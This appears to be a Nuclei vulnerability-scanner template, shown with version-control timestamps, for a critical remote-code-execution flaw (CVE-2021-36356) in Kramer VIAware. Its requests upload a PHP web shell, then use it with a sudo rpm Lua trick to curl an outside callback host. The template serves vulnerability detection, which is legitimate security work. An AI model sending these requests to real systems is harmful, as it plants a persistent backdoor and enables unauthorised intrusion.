2022-04-30 20:27:39 +00:00
id : CVE-2021-36356
2022-04-30 10:22:52 +00:00
info :
2022-05-18 20:58:07 +00:00
name : Kramer VIAware - Remote Code Execution
2022-04-30 10:22:52 +00:00
author : gy741
severity : critical
description : KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest firmware update provided by Kramer to fix the vulnerability and ensure proper input validation in the web interface.
2022-04-30 10:22:52 +00:00
reference :
- https://www.exploit-db.com/exploits/50856
- https://nvd.nist.gov/vuln/detail/CVE-2021-36356
- https://nvd.nist.gov/vuln/detail/CVE-2021-35064
2022-05-17 09:18:12 +00:00
- https://write-up.github.io/kramerav/
2022-04-30 20:29:38 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-05-17 09:18:12 +00:00
cvss-score : 9.8
2022-04-30 20:29:38 +00:00
cve-id : CVE-2021-36356
cwe-id : CWE-434
2024-01-14 13:49:27 +00:00
epss-score : 0.93009
epss-percentile : 0.98853
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:kramerav:viaware:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : kramerav
product : viaware
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,viaware,kramer,edb,rce,intrusive,kramerav
2023-03-29 11:07:38 +00:00
variables :
2023-07-11 19:49:27 +00:00
useragent : "{{rand_base(6)}}"
2023-03-29 11:07:38 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-04-30 10:22:52 +00:00
- raw :
- |
POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-04-30 20:27:39 +00:00
radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php
2022-04-30 10:22:52 +00:00
- |
2023-03-29 13:54:19 +00:00
GET /{{randstr}}.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute("curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'")}' HTTP/1.1
2022-04-30 10:22:52 +00:00
Host : {{Hostname}}
2023-03-29 10:10:35 +00:00
matchers-condition : and
2022-04-30 10:22:52 +00:00
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : interactsh_protocol # Confirms the HTTP Interaction
2022-04-30 10:22:52 +00:00
words :
2023-07-11 19:49:27 +00:00
- http
2022-05-18 20:58:07 +00:00
2023-03-29 10:10:35 +00:00
- type : word
part : interactsh_request
words :
2023-03-29 13:54:19 +00:00
- "User-Agent: {{useragent}}"
2024-01-14 14:05:19 +00:00
# digest: 4a0a00473045022100da10fc147f4a7585ce3799a07048134cf27247852952b5683c965b5afe41cdab02204f2ded9de090c6c60b21de30ecf2894dd45968825f865399066ab21b32aa4017:922c64590222798bb761d5b6d8e72950